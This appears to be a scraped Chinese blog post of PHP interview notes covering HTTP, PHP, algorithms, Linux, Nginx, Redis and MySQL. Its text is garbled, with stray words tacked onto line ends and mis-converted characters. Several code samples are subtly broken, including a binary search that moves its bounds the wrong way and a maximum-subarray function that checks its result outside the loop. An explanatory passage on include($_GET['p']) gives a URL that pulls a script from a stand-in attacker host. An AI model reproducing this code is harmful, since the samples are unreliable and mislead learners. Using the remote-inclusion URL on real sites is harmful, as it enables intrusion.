3年PHPer的面試總結

基礎部分

1.HTTP中GET與POST的區別,注意最後一條

GET在瀏覽器回退時是無害的,而POST會再次提交請求。
GET產生的URL地址能夠被Bookmark,而POST不能夠。
GET請求會被瀏覽器主動cache,而POST不會,除非手動設置。
GET請求只能進行url編碼,而POST支持多種編碼方式。
GET請求參數會被完整保留在瀏覽器歷史記錄裏,而POST中的參數不會被保留。
GET請求在URL中傳送的參數是有長度限制的,而POST沒有。
對參數的數據類型,GET只接受ASCII字符,而POST沒有限制。
GET比POST更不安全,由於參數直接暴露在URL上,因此不能用來傳遞敏感信息。
GET參數經過URL傳遞,POST放在Request body中。
GET產生一個TCP數據包,POST產生兩個TCP數據包。php

2.爲何Tcp鏈接是三次,揮手是四次

在Tcp鏈接中,服務端的SYN和ACK向客戶端發送是一次性發送的,而在斷開鏈接的過程當中,B端向A端發送的ACK和FIN是分兩次發送的。由於在B端接收到A端的FIN後,B端可能還有數據要傳輸,因此先發送ACK,等B端處理完本身的事情後就能夠發送FIN斷開鏈接了。html

3.Cookie存在哪

若是設置了過時時間,Cookie存在硬盤裏
沒有設置過時時間,Cookie存在內存裏
4.COOKIE和SESSION的區別和關係#
COOKIE保存在客戶端,而SESSION則保存在服務器端
從安全性來說,SESSION的安全性更高
從保存內容的類型的角度來說,COOKIE只保存字符串(及可以自動轉換成字符串)
從保存內容的大小來看,COOKIE保存的內容是有限的,比較小,而SESSION基本上沒有這個限制
從性能的角度來說,用SESSION的話,對服務器的壓力會更大一些
SEEION依賴於COOKIE,但若是禁用COOKIE,也能夠經過url傳遞mysql

PHP相關

Session可不能夠設置失效時間,好比30分鐘過時

設置seesion.cookie_lifetime有30分鐘,並設置session.gc_maxlifetime爲30分鐘
本身爲每個Session值增長timestamp
每次訪問以前, 判斷時間戳ios

PHP進程間通訊的幾種方式

消息隊列
信號量+共享內存
信號
管道
socketnginx

php類的靜態調用和實例化調用各自的利弊

靜態方法是類中的一個成員方法,屬於整個類,即便不用建立任何對象也能夠直接調用!靜態方法效率上要比實例化高,靜態方法的缺點是不自動銷燬,而實例化的則能夠作銷燬。git

類的數組方式調用

ArrayAccess(數組式訪問)接口github

用php寫一個函數,獲取一個文本文件最後n行內容,要求儘量效率高,並能夠跨平臺使用。

function tail($file, $num)
{  
    $fp = fopen($file,"r");  
    $pos = -2;
    $eof = "";  
    $head = false;   //當總行數小於Num時,判斷是否到第一行了  
    $lines = array();  
    while ($num > 0) {  
        while($eof != PHP_EOL){  
            if (fseek($fp, $pos, SEEK_END) == 0) {    //fseek成功返回0,失敗返回-1  
                $eof = fgetc($fp);
                $pos--;  
            } else {                            //當到達第一行,行首時,設置$pos失敗  
                fseek($fp, 0, SEEK_SET);
                $head = true;                   //到達文件頭部,開關打開  
                break;  
            }  
        }  
        array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp)));   
        if ($head) {//這一句,只能放上一句後,由於到文件頭後,把第一行讀取出來再跳出整個循環  
            break; 
        }                 
        $eof = "";  
        $num--;  
    }  
    fclose($fp);  
    return $lines;  
}

$SERVER['SERVER_NAME']和$SERVER['HTTP_HOST']的區別

相同點: 當知足如下三個條件時,二者會輸出相同信息。正則表達式

服務器爲80端口
apache的conf中ServerName設置正確
HTTP/1.1協議規範
不一樣點:redis

一般狀況: $_SERVER["HTTP_HOST"] 在HTTP/1.1協議規範下,會根據客戶端的HTTP請求輸出信息。 $_SERVER["SERVER_NAME"] 默認狀況下直接輸出apache的配置文件httpd.conf中的ServerName值。
當服務器爲非80端口時: $_SERVER["HTTP_HOST"] 會輸出端口號,例如:coffeephp.com:8080 $_SERVER["SERVER_NAME"] 會直接輸出ServerName值 所以在這種狀況下,能夠理解爲:$_SERVER['HTTP_HOST'] = $_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']
當配置文件httpd.conf中的ServerName與HTTP/1.0請求的域名不一致時: httpd.conf配置以下:算法

<virtualhost *>    
ServerName github.com    
ServerAlias blog.github.com    
</virtualhost>

客戶端訪問域名 blog.github.com $_SERVER["HTTP_HOST"] 輸出 blog.github.com $_SERVER["SERVER_NAME"] 輸出github.com

打開php.ini的safe_mode會影響哪些參數

當safe_mode=On時,會出現下面限制:

  1. 全部輸入輸出函數(例如fopen()、file()和require())的適用會受到限制,只能用於與調用這些函數的腳本有相同擁有者的文件。例如,假定啓用了安全模式,若是Mary擁有的腳本調用fopen(),嘗試打開由Jonhn擁有的一個文件,則將失敗。可是,若是Mary不只擁有調用 fopen()的腳本,還擁有fopen()所調用的文件,就會成功。
  2. 若是試圖經過函數popen()、system()或exec()等執行腳本,只有當腳本位於safe_mode_exec_dir配置指令指定的目錄纔可能。
  3. HTTP驗證獲得進一步增強,由於驗證腳本用於者的UID劃入驗證領域範圍內。此外,當啓用安全模式時,不會設置PHP_AUTH。
  4. 若是適用MySQL數據庫服務器,連接MySQL服務器所用的用戶名必須與調用mysql_connect()的文件擁有者用戶名相同。
    詳細的解釋能夠查看官網:http://www.php.net/manual/zh/... php safe_mode影響參數
函數名 限制
dbmopen() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
dbase_open() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
filepro() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
filepro_rowcount() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
filepro_retrieve() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
ifx_* sql_safe_mode 限制, (!= safe mode)
ingres_* sql_safe_mode 限制, (!= safe mode)
mysql_* sql_safe_mode 限制, (!= safe mode)
pg_loimport() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
posix_mkfifo() 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
putenv() 遵循 ini 設置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 選項。請參考 putenv() 函數的有關文檔。
move_uploaded_file() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
chdir() 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
dl() 本函數在安全模式下被禁用。
backtick operator 本函數在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函數相同) 本函數在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。
system() 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。
passthru() 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。
popen() 只能在 safe_mode_exec_dir 設置的目錄下進行執行操做。基於某些緣由,目前不能在可執行對象的路徑中使用 ..。escapeshellcmd() 將被做用於此函數的參數上。
fopen() 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
mkdir() 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
rmdir() 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
rename() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
unlink() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
copy() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (on source and target )
chgrp() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
chown() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。
chmod() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 另外,不能設置 SUID、SGID 和 sticky bits
touch() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。
symlink() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意:僅測試 target)
link() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意:僅測試 target)
apache_request_headers() 在安全模式下,以「authorization」(區分大小寫)開頭的標頭將不會被返回。
header() 在安全模式下,若是設置了 WWW-Authenticate,當前腳本的 uid 將被添加到該標頭的 realm 部分。
PHP_AUTH 變量 在安全模式下,變量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但不管如何,您仍然可使用 REMOTE_USER 來獲取用戶名稱(USER)。(注意:僅 PHP 4.3.0 之後有效)
highlight_file(), show_source() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意,僅在 4.2.1 版本後有效)
parse_ini_file() 檢查被操做的文件或目錄是否與正在執行的腳本有相同的 UID(全部者)。 檢查被操做的目錄是否與正在執行的腳本有相同的 UID(全部者)。 (注意,僅在 4.2.1 版本後有效)
set_time_limit() 在安全模式下不起做用。
max_execution_time 在安全模式下不起做用。
mail() 在安全模式下,第五個參數被屏蔽。

PHP解決多進程同時寫一個文件的問題

function write($str)
{
    $fp = fopen($file, 'a');
    do {
        usleep(100);
    } while (!flock($fp, LOCK_EX));
    fwrite($fp, $str . PHP_EOL);
    flock($fp, LOCK_UN);
    fclose($fp);
}

PHP裏的超全局變量

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

php7新特性

  • ?? 運算符(NULL 合併運算符)
  • 函數返回值類型聲明
  • 標量類型聲明
  • use 批量聲明
  • define 能夠定義常量數組
  • 閉包( Closure)增長了一個 call 方法 詳細的能夠見官網:php7-new-features

php7卓越性能背後的優化

  • 減小內存分配次數
  • 多使用棧內存
  • 緩存數組的hash值
  • 字符串解析成桉樹改成宏展開
  • 使用大塊連續內存代替小塊破碎內存 詳細的能夠參考鳥哥的PPT:PHP7性能之源

include($_GET['p'])的安全隱患

如今任一個黑客如今均可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 來獲取你的機密信息,或執行一個PHP腳本。 若是allow_url_fopen=On,你更是死定了: 試試這個輸入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 如今你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客能夠發送垃圾郵件,改變密碼,刪除文件等等。只要你能想獲得。

列出一些防範SQL注入、XSS攻擊、CSRF攻擊的方法

  • addslashes函數
  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
  • PDO預處理 XSS:htmlspecial函數 CSRF:
  • 驗證HTTP REFER
  • 使用toke進行驗證

接口如何安全訪問

jwt或驗證簽名

PHP裏有哪些設計模式

  • 單例模式
  • 工廠模式
  • 臉面模式(facade)
  • 註冊器模式
  • 策略模式
  • 原型模式
  • 裝飾器模式 更多的能夠看PHP設計模式簡介這篇文章

驗證ip是否正確

function check_ip($ip)
{
    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    return false;
    } else {
        return true;
    }
}

驗證日期是否合理

function check_datetime($datetime)
{
    if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
        return true;
    } else {
        return false;
    }
}

寫一個正則表達式,過濾JS腳本(及把script標記及其內容都去掉)

$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);

下單後30分鐘未支付取消訂單

第一種方案:被動過時+cron,就是用戶查看的時候去數據庫查有沒有支付+定時清理。 第二種方案:延遲性任務,到時間檢查訂單是否支付成功,若是沒有支付則取消訂單

設計一個秒殺系統

思路:用redis的隊列

$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);

$lock = fasle;
while (!$lock) {
    $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}

if ($redis->get('goods.num') <= 0) {
    echo ("秒殺已經結束");
    //刪除鎖
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return false;
}

$redis->decr('goods.num');
echo ("秒殺成功");
//刪除鎖
if ($redis->get('lock') == $random) {
    $redis->del('lock');
}
return true;

請設計一個實現方式,能夠給某個ip找到對應的省和市,要求效率竟可能的高

//ip2long,把全部城市的最小和最大Ip錄進去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP

function get_ip_city($ip_address)
{
    $ip = ip2long($ip_address);

    $redis_key = 'ip';
    $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
    if ($city) {
        if (strpos($city[0], "#") === 0) {
            echo '城市不存在!';
        } else {
            echo '城市是' . $city[0];
        }
    } else {
        echo '城市不存在!';
    }
}

算法部分

反轉函數的實現

/**
 * 反轉數組
 * @param  array $arr 
 * @return array
 */
function reverse($arr)
{
    $n = count($arr);

    $left = 0;
    $right = $n - 1;

    while ($left < $right) {
        $temp = $arr[$left];
        $arr[$left++] = $arr[$right];
        $arr[$right--] = $temp;
    }

    return $arr;
}

兩個有序int集合是否有相同元素的最優算法

/**
 * 尋找兩個有序數組裏相同的元素
 * @param  array $arr1 
 * @param  array $arr2 
 * @return array      
 */
function find_common($arr1, $arr2)
{
    $common = array();
    $i = $j = 0;
    $count1 = count($arr1);
    $count2 = count($arr2);
    while ($i < $count1 && $j < $count2) {
        if ($arr1[$i] < $arr2[$j]) {
            $i++;
        } elseif ($arr1[$i] > $arr2[$j]) {
            $j++;
        } else {
            $common[] = $arr[$i];
            $i++;
            $j++;
        }
    }
    return array_unique($common);
}

將一個數組中的元素隨機(打亂)

/**
 * 打亂數組
 * @param  array $arr 
 * @return array      
 */
function custom_shuffle($arr)
{
    $n = count($arr);
    for ($i = 0; $i < $n; $i++) {
        $rand_pos = mt_rand(0, $n - 1);
        if ($rand_pos != $i) {
            $temp = $arr[$i];
            $arr[$i] = $arr[$rand_pos];
            $arr[$rand_pos] = $temp;
        }
    }
    return $arr;
}

給一個有數字和字母的字符串,讓連着的數字和字母對應

function number_alphabet($str)
{
    $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY);
    $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY);
    $n = count($number);
    for ($i = 0; $i < $count; $i++) { 
        echo $number[$i] . ':' . $alphabet[$i] . '</br>';
    }
}
$str = '1a3bb44a2ac';
number_alphabet($str);//1:a 3:bb 44:a 2:ac

求n之內的質數(質數的定義:在大於1的天然數中,除了1和它自己意外,沒法被其餘天然數整除的數)

思路: 1.(質數篩選定理)n不可以被不大於根號n的任何質數整除,則n是一個質數
2.除了2的偶數都不是質數
代碼以下:

/**
 * 求n內的質數
 * @param int $n 
 * @return array
 */
function get_prime($n)
{
    $prime = array(2);//2爲質數

    for ($i = 3; $i <= $n; $i += 2) {//偶數不是質數,步長能夠加大 
        $sqrt = intval(sqrt($i));//求根號n

        for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇數,固然不能被偶數整除,步長也能夠加大。 
            if ($i % $j == 0) {
                break;
            }
        }

        if ($j > $sqrt) {
            array_push($prime, $i);
        }
    }

    return $prime;
}

print_r(getPrime(1000));

約瑟夫環問題

相關題目:一羣猴子排成一圈,按1,2,…,n依次編號。而後從第1只開始數,數到第m只,把它踢出圈,從它後面再開始數, 再數到第m只,在把它踢出去…,如此不停的進行下去, 直到最後只剩下一隻猴子爲止,那隻猴子就叫作大王。要求編程模擬此過程,輸入m、n, 輸出最後那個大王的編號。

/**
 * 獲取大王
 * @param  int $n 
 * @param  int $m 
 * @return int  
 */
function get_king_mokey($n, $m) 
{
    $arr = range(1, $n);

    $i = 0;

    while (count($arr) > 1) {
        $i++;
        $survice = array_shift($arr);

        if ($i % $m != 0) {
            array_push($arr, $survice);
        }
    }

    return $arr[0];
}

如何快速尋找一個數組裏最小的1000個數

思路:假設最前面的1000個數爲最小的,算出這1000個數中最大的數,而後和第1001個數比較,若是這最大的數比這第1001個數小的話跳過,若是要比這第1001個數大則將兩個數交換位置,並算出新的1000個數裏面的最大數,再和下一個數比較,以此類推。
代碼以下:

//尋找最小的k個數
//題目描述
//輸入n個整數,輸出其中最小的k個。
/**
 * 獲取最小的k個數
 * @param  array $arr 
 * @param  int $k   [description]
 * @return array
 */
function get_min_array($arr, $k)
{
    $n = count($arr);

    $min_array = array();

    for ($i = 0; $i < $n; $i++) {
        if ($i < $k) {
            $min_array[$i] = $arr[$i];
        } else {
            if ($i == $k) {
                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }

            if ($arr[$i] < $max) {
                $min_array[$max_pos] = $arr[$i];

                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }
        }
    }

    return $min_array;
}

/**
 * 獲取最大的位置
 * @param  array $arr 
 * @return array
 */
function get_max_pos($arr)
{
    $pos = 0;
    for ($i = 1; $i < count($arr); $i++) { 
        if ($arr[$i] > $arr[$pos]) {
            $pos = $i;
        }
    }

    return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);

如何在有序的數組中找到一個數的位置(二分查找)

代碼以下:

/**
 * 二分查找
 * @param  array $array 數組
 * @param  int $n 數組數量
 * @param  int $value 要尋找的值
 * @return int
 */
function binary_search($array, $n, $value)
{
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {
        $mid = intval(($left + $right) / 2);
        if ($value > $array[$mid]) {
            $right = $mid + 1;
        } elseif ($value < $array[$mid]) {
            $left = $mid - 1;
        } else {
            return $mid;
        }
    }

    return -1;
}

給定一個有序整數序列,找出絕對值最小的元素

思路:二分查找

/**
 * 獲取絕對值最小的元素
 * @param  array $arr
 * @return int  
 */
function get_min_abs_value($arr)
{
    $n = count($arr);
    //若是符號相同,直接返回
    if (is_same_sign($arr[0], $arr[$n - 1])) {
        return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
    }

    //二分查找
    $left = 0;
    $right = $n - 1;

    while ($left <= $right) {
        if ($left + 1 === $right) {
            return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
        }

        $mid = intval(($left + $right) / 2);

        if ($arr[$mid] < 0) {
            $left = $mid + 1;
        } else {
            $right = $mid - 1;
        }
    }
}

/**
 * 判斷符號是否相同
 * @param  int  $a 
 * @param  int  $b 
 * @return boolean  
 */
function is_same_sign($a, $b)
{
    if ($a * $b > 0) {
        return true;
    } else {
        return false;
    }
}

找出有序數組中隨機3個數和爲0的全部狀況

思路:動態規劃

function three_sum($arr)
{
    $n = count($arr);

    $return = array();

    for ($i=0; $i < $n; $i++) { 
        $left = $i + 1;
        $right = $n - 1;

        while ($left <= $right) {
            $sum = $arr[$i] + $arr[$left] + $arr[$right];

            if ($sum < 0) {
                $left++;
            } elseif ($sum > 0) {
                $right--;
            } else {
                $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right];
                if (!in_array($numbers, $return)) {
                    $return[] = $numbers;
                }

                $left++;
                $right--;
            }
        }
    }

    return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));

編寫一個PHP函數,求任意n個正負整數裏面最大的連續和,要求算法時間複雜度儘量低。

思路:動態規劃

/**
 * 獲取最大的連續和
 * @param  array $arr 
 * @return int 
 */
function max_sum_array($arr)
{
    $currSum = 0;
    $maxSum = 0;//數組元素全爲負的狀況,返回最大數

    $n = count($arr);

    for ($i = 0; $i < $n; $i++) { 
        if ($currSum >= 0) {
            $currSum += $arr[$i];
        } else {
            $currSum = $arr[$i];
        }
    }

    if ($currSum > $maxSum) {
        $maxSum = $currSum;
    }

    return $maxSum;
}

Linux相關

1.如何修改文件爲當前用戶只讀

chmod u=r 文件名

2.Linux進程屬性

  1. 進程:是用pid表示,它的數值是惟一的
  2. 父進程:用ppid表示
  3. 啓動進程的用戶:用UID表示
  4. 啓動進程的用戶所屬的組:用GID表示
  5. 進程的狀態:運行R,就緒W,休眠S,殭屍Z

3.統計某一天網站的訪問量

awk '{print $1}' /var/log/access.log | sort | uniq | wc -l

推薦篇文章,講awk實際使用的shell在手分析服務器日誌不愁

Nginx相關

1.fastcgi經過端口監聽和經過文件監聽的區別

監聽方式 形式 nginx連接fastcgi方式
端口監聽 fastcgi_pass 127.0.0.1:9000 TCP連接
文件監聽 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket

2.nginx的負載均衡實現方式

  1. 輪詢
  2. 用戶IP哈希
  3. 指定權重
  4. fair(第三方)
  5. url_hash(第三方)

Memcache/Redis

1.Redis主從是怎樣同步數據的?(即複製功能)

不管是初次鏈接仍是從新鏈接,當創建一個從服務器時,從服務器都將從主服務器發送一個SYNC命令。接到SYNC命令的主服務器將開始執行BGSAVE,並在保存操做執行期間,將全部新執行的命令都保存到一個緩衝區裏面,當BGSAVE執行完畢後,主服務器將執行保存操做所獲得的.rdb文件發送給從服務器,從服務器接收這個.rdb文件,並將文件中的數據載入到內存中。以後主服務器會以Redis命令協議的格式,將寫命令緩衝區中積累的全部內容都發送給從服務器。

2.Memcache緩存命中率

緩存命中率 = get_hits/cmd_get * 100%

3.Memcache集羣實現

一致性Hash

4.Memcache與Redis的區別

  1. Memcache

    • 該產品自己特別是數據在內存裏邊的存儲,若是服務器忽然斷電,則所有數據就會丟失
    • 單個key(變量)存放的數據有1M的限制
    • 存儲數據的類型都是String字符串類型
    • 自己沒有持久化功能
    • 可使用多核(多線程)
  2. Redis

    • 數據類型比較豐富:String、List、Set、Sortedset、Hash
    • 有持久化功能,能夠把數據隨時存儲在磁盤上
    • 自己有必定的計算功能
    • 單個key(變量)存放的數據有1GB的限制

MySQL相關

1.執行SQL語句:select count(*) from articles 時,MyISAM和InnoDB哪一個快

MyISAM快,由於MyISAM自己就記錄了數量,而InnoDB要掃描數據

3.隱式轉換

  • 當查詢字段是INT類型,若是查詢條件爲CHAR,將查詢條件轉換爲INT,若是是字符串前導都是數字將會進行截取,若是不是轉換爲0。
  • 當查詢字段是CHAR/VARCHAR類型,若是查詢條件爲INT,將查詢字段爲換爲INT再進行比較,可能會形成全表掃描

2.最左前綴原則

有一個複合索引:INDEX(a, b, c)

使用方式 可否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查詢優化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能

3.聚簇索引和非聚簇索引的區別

聚簇索引的葉節點就是數據節點,而非聚簇索引的頁節點仍然是索引檢點,並保留一個連接指向對應數據塊。

4.索引類型

主鍵索引 PRIMARY
普通索引 INDEX
惟一索引 UNIQUE
全文索引 FULLTEXT

舉例說明:

CREATE TABLE `user` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
  `idcard` varchar(18) CHARACTER SET latin1 DEFAULT NULL,
  `phone` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
  `addres` varchar(50) CHARACTER SET latin1 DEFAULT NULL,
  `remak` text CHARACTER SET latin1,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

id 做爲主鍵,使用 PRIMARY
name 若是須要創建索引就創建普通索引用於搜索使用,INDEX
idcard 做爲用戶身份證信息是惟一的,能夠選擇使用UNIQUE
remak 做爲備註信息,若是須要索引的話,短文章可使用普通索引(INDEX),常溫的話能夠能夠選着全文索引(FULLTEXT)

ALTER table user add PRIMARY KEY("id")
ALTER table user add index("name")
ALTER table user add UNIQUE("idcard")
ALTER table user add FULLTEXT ("remak")

其餘部分

1.網頁/應用訪問慢忽然變慢,如何定位問題

  1. top、iostat查看cpu、內存及io佔用狀況
  2. 內核、程序參數設置不合理 查看有沒有報內核錯誤,鏈接數用戶打開文件數這些有沒有達到上限等等
  3. 鏈路自己慢 是否跨運營商、用戶上下行帶寬不夠、dns解析慢、服務器內網廣播風暴什麼的
  4. 程序設計不合理 是否程序自己算法設計太差,數據庫語句太過複雜或者剛上線了什麼功能引發的
  5. 其它關聯的程序引發的 若是要訪問數據庫,檢查一下是否數據庫訪問慢
  6. 是否被攻擊了 查看服務器是否被DDos了等等
  7. 硬件故障 這個通常直接服務器就掛了,而不是訪問慢

2.如何設計/優化一個訪問量比較大的博客/論壇

  • 減小http請求(好比使用雪碧圖)
  • 優化數據庫(範式、SQL語句、索引、配置、讀寫分離)
  • 緩存使用(Memcache、Redis)
  • 負載均衡
  • 動態內容靜態化+CDN
  • 禁止外部盜鏈(refer、圖片添加水印)
  • 控制大文件下載
  • 使用集羣
相關文章
相關標籤/搜索